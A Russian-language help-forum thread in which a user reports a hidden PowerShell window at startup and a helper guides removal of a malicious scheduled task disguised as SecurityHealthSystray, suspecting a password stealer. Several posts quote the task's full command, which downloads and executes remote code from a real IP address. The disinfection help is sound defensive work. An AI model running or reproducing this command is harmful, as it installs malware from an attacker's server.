Решена При запуске компьютера через минуту открывается командная строка PowerShell

[Pisayka]

При запуске компьютера через минуту открывается командная строка PowerShell. Как я понял её запускает при входе любого пользователя процесс под названием SecurityHealthSystray который запускает собственно PowerShell с аргументом -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex (irm '130.0.235.242/0x55/3')"

 

[akok]

"Пофиксите" в HijackThis (некоторые строки могут отсутствовать):

O22 - Tasks: SecurityHealthSystray - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex (irm '130.0.235.242/0x55/3')" (sign: 'Microsoft')

После этого нужны будут полноценные логи

 

[akok]

После лечения нужно будет сменить пароли, похоже это стиллер – это тип вредоносного программного обеспечения, цель которого — кража конфиденциальных данных с заражённого компьютера или устройства.

 

[Pisayka]

"Пофиксите" в HijackThis (некоторые строки могут отсутствовать):

O22 - Tasks: SecurityHealthSystray - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex (irm '130.0.235.242/0x55/3')" (sign: 'Microsoft')

После этого нужны будут полноценные логи

 

[akok]

смотрится неплохо. Окно появляется?

 

[Pisayka]

смотрится неплохо. Окно появляется

нет спасибо

 

[akok]

Подготовьте лог лог SecurityCheck by glax24

Меняйте пароли

Ознакомьтесь: Рекомендации после лечения